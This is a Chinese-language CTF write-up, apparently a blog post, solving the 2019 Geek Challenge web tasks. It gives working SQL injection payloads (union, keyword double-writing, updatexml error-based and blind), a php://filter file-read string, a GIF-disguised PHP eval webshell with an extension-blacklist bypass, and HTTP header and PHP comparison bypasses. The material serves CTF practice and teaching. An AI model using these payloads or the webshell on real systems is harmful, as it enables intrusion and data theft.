仅为做题思路，记下笔记，如有错误烦请斧正

[极客大挑战 2019]EasySQL

进题目发现是个登陆页面

admin admin登陆一下

注意URL，试试万能密码?username=admin&password=admin' or '1'='1(tip：当passwd不对时后面的or 1=1恒真导致错误密码也可登陆)

[极客大挑战 2019]Havefun

题目主页是个可爱的小猫

查看源码（weber必做的事哈哈）发现php代码

根据提示传参

[极客大挑战 2019]Secret

哇哦，这背景与文字色

看源码，发现另一个页面

套娃？

再点

因为bp一直再开，看看target，把每个response都看了一下，发现跳转了一个

访问一下给了源码，过滤了../、tp、input、data穿透和代码执行不行了，直接伪协议读，防止输出过滤加上base64encode，payload：
?file=php://filter/read=convert.base64-encode/resource=flag.php

读出来的base解码得到flag

[极客大挑战 2019]LoveSQL

和第一题界面差不多，最上面的小红字放大看看，弱密码试试依然错误


我就不用sqlmap了，关于sqlmap扫文件百度有很多，手工sql好了，查列为4的时候报错

联合查询记得把账号置为不存在的（随便输），不然正常回显会把联合查询的回显挤下去，自己可以试试

正常注入，查表名username=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=admin

查列名?username=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="l0ve1ysq1"%23&password=admin

查字段?username=1' union select 1,group_concat(id,":",username,":",password),3 from l0ve1ysq1%23&password=admin

太乱了，看源码（快跑~）

[极客大挑战 2019]Http

主页挺好看

没找到有用的信息（Syclover2019招新群：671301484，逃~）看源码

进去看看，考察的是http头信息，具体可百度看师傅们总结的http header

bp抓包加上referer

更改浏览器标识User-Agent

XFF伪造IP

get it

[极客大挑战 2019]BabySQL

万能密码错了，看了报错应该是过滤了or

双写试试能不给绕过

简单fuzz一下，可以看到基本函数都被过滤了，不过问题不大，双写就能绕过（why？str_replace()函数只把关键字做了一次过滤，并未递归，例如将seselectect替换为select），注意查表时information里面也有个or

查字段：?username=1' oorrder bbyy 4--+&password=admin三个

查回显位置：?username=1' ununionion seselectlect 1,2,3--+&password=admin

查表：?username=1' ununionion seselectlect 1,group_concat(table_name),3 ffromrom infoorrmation_schema.tables whwhereere table_schema=database()--+&password=admin

查列：?username=1' ununionion seselectlect 1,group_concat(column_name),3 ffromrom infoorrmation_schema.columns whwhereere table_name="b4bsql"--+&password=admin

查字段：很尴尬，password里面也有个or忘了双写哈哈

最终payload：?username=1' ununionion seselectlect 1,group_concat(id,":",username,":",passwoorrd),3 ffromrom b4bsql--+&password=admin

[极客大挑战 2019]BuyFlag

漂亮的主页要我去买flag，拒绝py，看源码有pay.php，好贵，而且只有CUIT的学生才可以买，还要密码，看看源码发现这个

基础知识，绕过is_numeric，后面加空格/%00。参考博客，
直接输密码应该不对，因为我们还不是CUIT的学生，抓包看看吧

cookie可疑，改成1试试

可以输passwd了，password=404%20，记在bp里把请求方式改为POST，并加上Content-Type: application/x-www-form-urlencoded它用于指示资源的MIME类型

盲猜传一个money参数

猜测正确，但是本题采用php5.3版本，此版本不能接受八位长的数字，所以两种办法

• 第一、用科学计数法
  
  • 第二、猜测后端用的strcmp()函数比较的钱数
    了解strcmp：
    int strcmp ( string $str1 , string $str2 )
    参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。
    此函数在php 5.2版本之前，利用strcmp函数将数组与字符串进行比较会返回-1，但是从5.3开始，会返回0
    参考博客
    所以我们用数组绕过也行
    

[极客大挑战 2019]Upload

先传个🐎试试，shell.php的一句话，提示
后缀改为jpg试试

可能是检测文件头内容，用GIF淦，一句话如下

GIF89a? 
<script language="php">eval($_REQUEST[shell])</script>

写到笔记本里。后缀改为gif上传，bp抓包改为php（apache解析，改为gif连不上马儿），发现黑名单了，换个姿势，用php3、php5、pht、phtml、phpt，最终还是用了phtml



没给路径，一般在 /upload/文件名里面，试一下，果然（大胆猜测，小心证明）

autsword或者菜刀连接，文件太多了，用终端找flag，find / -name flag

[极客大挑战 2019]HardSQL

还是那个登陆页面，万能密码被逮住了，正常注入不行，双写不可，看看有没有报错注入，过滤了空格 等号 大于号小于号，like代替等号 用括号括起来就可以无空格
一开始用--+没能把后面的语句注释掉，换成%23

查表?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123

查列?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=123

查字段?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,":",username,":",password))from(H4rDsq1)),0x7e),1))%23&password=123

因updatexml回显最多32位，所以可以用left和right拼接出来
?username=admin'or(updatexml(1,concat(0x7e,(select(left(password,32))from(H4rDsq1)),0x7e),1))%23&password=123
?username=admin'or(updatexml(1,concat(0x7e,(select(right(password,22))from(H4rDsq1)),0x7e),1))%23&password=123


只有报错才行吗？当然不，试了试盲注，虽然><被ban了但是还有like鸭，淦
查数据库?username=admin'or(left((database()),1)like'g')%23&password=123

查表?username=admin'or(left((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),1)like'H')%23&password=123

写个脚本或者bp自动化爆破一下就行，我先挖个坑，不一定填哈哈哈

[极客大挑战 2019]FinalSQL

五个选项都没啥用，fuzz一下，过滤了不少东西

暂更

本文来自互联网用户投稿，文章观点仅代表作者本人，不代表本站立场，不承担相关法律责任。如若转载，请注明出处。 如若内容造成侵权/违法违规/事实不符，请点击【内容举报】进行投诉反馈！